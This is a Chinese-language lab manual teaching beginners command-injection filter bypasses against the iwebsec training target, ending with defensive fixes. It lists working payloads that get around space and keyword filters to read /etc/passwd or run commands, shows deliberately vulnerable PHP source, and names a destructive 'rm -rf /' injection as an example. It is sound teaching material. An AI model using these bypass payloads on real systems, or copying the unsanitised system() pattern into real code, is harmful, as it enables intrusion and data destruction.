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[bookmark: heading_0]命令执行漏洞操作手册（空格绕过 + 关键字绕过）

[bookmark: heading_1]一、先搞懂：什么是命令执行漏洞？
你可以把它理解成：
网站把用户输入的内容，直接当成系统命令去执行。
比如网站有个 ping 功能：
你输入 127.0.0.1 → 网站执行 ping 127.0.0.1
你输入 127.0.0.1 | whoami → 网站执行：
ping 127.0.0.1 | whoami
→ 直接泄露服务器信息！
这就是 命令执行漏洞。

[bookmark: heading_2]二、环境说明
· 靶机：iwebsec
IP：[192.168.44.128](192.168.44.128)
· 用到页面：
· 空格绕过：/exec/02.php
· 关键字绕过：/exec/03.php、04.php、05.php

[bookmark: heading_3]第 1 部分：空格绕过（任务 5.3）
[bookmark: heading_4]1.1 为什么要 “空格绕过”？
很多网站会过滤空格：
你输入 cat /etc/passwd
因为中间有空格，网站直接拦截。
所以我们要用别的符号代替空格，骗过网站。
[bookmark: heading_5]1.2 4 种绕过方法（超小白讲解）
[bookmark: heading_6]方法 1：$IFS 绕过（最常用）
原理（大白话）
Linux 系统里，$IFS 本来是用来 “分隔单词” 的系统变量，它本身就代表空格。
执行语句
	Plain Text
127.0.0.1|cat${IFS}/etc/passwd


拆开看
· cat = 查看文件命令
· ${IFS} = 代替空格
· /etc/passwd = 要查看的文件
最终执行
	Plain Text
cat /etc/passwd



[bookmark: heading_7]方法 2：%09 绕过（URL 里的 Tab）
原理
· 空格在 URL 里不能直接用
· %09 是 Tab 键的 URL 编码
· 网站收到 %09 会自动转成 “间隔符”，等效空格
执行语句
	Plain Text
127.0.0.1;cat%09/etc/passwd


拆开看
· cat = 查看
· %09 = 空格
· /etc/passwd = 文件

[bookmark: heading_8]方法 3：{} 花括号绕过
原理
Shell 看到 {a,b} 会自动变成 a b，自带空格效果。
执行语句
	Plain Text
127.0.0.1;{cat,/etc/passwd}


自动变成
	Plain Text
cat /etc/passwd



[bookmark: heading_9]方法 4：< 小于号绕过
原理
< 是 “把文件内容传给命令”，不需要空格。
执行语句
	Plain Text
127.0.0.1;cat</etc/passwd


等效
	Plain Text
cat /etc/passwd



[bookmark: heading_10]1.3 靶场源码 02.php 逐行小白审计
这是网站有漏洞的源代码，我一行一行讲：
	php
<?php
// 第1行：从网址里拿到 ip 参数（你输入的内容）
$ip = $_GET['ip'];

// 第2行：如果 ip 不为空就往下走
if(isset($ip)){

    // 第3行：高危漏洞！直接把你输入的内容拼进命令！
    system("ping -c 3 ".$ip);
}
?>


[bookmark: heading_11]漏洞在哪？（小白必懂）
1. 没有检查你输入的是什么
你输 127.0.0.1 可以
你输 127.0.0.1 | rm -rf / 也可以
2. 没有过滤任何危险符号
| ; & && $ {} < > 全都不拦
3. 直接用 system () 执行系统命令
→ 这就是命令执行漏洞的根源。

[bookmark: heading_12]第 2 部分：关键字绕过（任务 5.4）
[bookmark: heading_13]2.1 什么是 “关键字绕过”？
网站过滤了危险命令，比如：
cat、ls、id、ifconfig、rm
你直接输 cat 会被拦截。
所以我们要把命令变形，让网站认不出来。
[bookmark: heading_14]2.2 6 种关键字绕过（小白超详细）
[bookmark: heading_15]方法 1：变量拼接绕过
原理
把 cat 拆成 c 和 at，用变量拼起来。
执行语句
	Plain Text
127.0.0.1;a=c;b=at;$a$b /etc/passwd


拆开
· a=c → 变量 a 等于 c
· b=at → 变量 b 等于 at
· $a$b → c + at = cat

[bookmark: heading_16]方法 2：空变量绕过
原理
在关键字中间插一个空变量，网站认不出来，但系统能执行。
执行语句
	Plain Text
127.0.0.1;c$()at /etc/passwd


拆开
· c$()at → c + 空 + at → cat

[bookmark: heading_17]方法 3：系统变量绕过
原理
从系统自带变量里 “抠” 出一个 c，拼成 cat。
执行语句
	Plain Text
127.0.0.1;${SHELLOPTS:3:1}at /etc/passwd


拆开
· ${SHELLOPTS:3:1} → 取出字符 c
· 后面加 at → cat

[bookmark: heading_18]方法 4：反斜杠 \ 绕过
原理
Linux 会自动忽略命令里的转义符 \。
执行语句
	Plain Text
127.0.0.1;ca\t /etc/passwd


拆开
· ca\t → 系统自动去掉 \ → cat

[bookmark: heading_19]方法 5：通配符？* 绕过
原理
? 匹配 1 个字符
* 匹配任意字符
网站查不到完整关键字，但系统能匹配成功。
执行语句
	[bookmark: _GoBack]Plain Text
127.0.0.1;ca? /???/passw?


匹配
· /???/ → /etc/
· passw? → passwd

[bookmark: heading_20]方法 6：Base64 编码绕过
原理
把命令加密成一串乱码，网站检测不到，执行时再解密。
例子：id 命令
	Plain Text
127.0.0.1;echo "aWQ=" | base64 -d


拆开
· aWQ= → 是 id 的 base64 编码
· base64 -d → 解密
· 最终执行：id

[bookmark: heading_21]2.3 关键字绕过源码 03.php 逐行审计
	php
<?php
$ip = $_GET['ip']; // 拿用户输入

// 只过滤这几个关键字
$filter = array('cat','id','ifconfig');

foreach($filter as $v){
    if(stristr($ip, $v)){
        die("hack"); // 发现就拦截
    }
}

// 还是直接拼命令！
system("ping -c 3 ".$ip);
?>


[bookmark: heading_22]漏洞在哪？（小白秒懂）
1. 只用黑名单，太容易绕过
2. 只查完整单词，不查变形
c$()at、ca\t、$a$b 全都查不出来
3. 依然直接拼接执行命令
→ 黑名单 = 纸老虎

[bookmark: heading_23]三、小白必背：漏洞根本原因（3 句话）
1. 用户输入直接拼进系统命令
2. 使用 system/exec 这类高危函数
3. 只靠黑名单过滤，不用白名单校验

[bookmark: heading_24]四、小白能看懂的防范方法（最简单最有效）
[bookmark: heading_25]方法 1：只允许合法 IP（最强）
	php
if(!preg_match('/^\d+\.\d+\.\d+\.\d+$/', $ip)){
    die("只能输入IP！");
}


· 只允许 192.168.1.1 这种格式
· 任何符号都输不进去
[bookmark: heading_26]方法 2：给命令加 “安全壳”
	php
$ip = escapeshellarg($ip);
system("ping -c 3 ".$ip);


· 会把输入变成纯字符串，不能执行命令
[bookmark: heading_27]方法 3：直接禁用高危函数
php.ini 里写：
	Plain Text
disable_functions = system,exec,passthru,shell_exec


[bookmark: heading_28]方法 4：最小权限
· 网站权限越低越好
· 不让读 /etc/passwd

[bookmark: heading_29]五、小白速记表（考试 / 实验直接背）
[bookmark: heading_30]空格绕过 4 个
· ${IFS}
· %09
· {cat,file}
· cat<file
[bookmark: heading_31]关键字绕过 6 个
· 变量拼接 a=c;b=at;$a$b
· 空变量 c$()at
· 系统变量 ${xxx:3:1}at
· 反斜杠 ca\t
· 通配符 /???/passw?
· Base64 echo Y2F0... | base64 -d
[bookmark: heading_32]漏洞根源
用户输入直接拼命令 + 无白名单 + 用高危函数
[bookmark: heading_33]防御
白名单校验 + escapeshellarg + 禁用函数


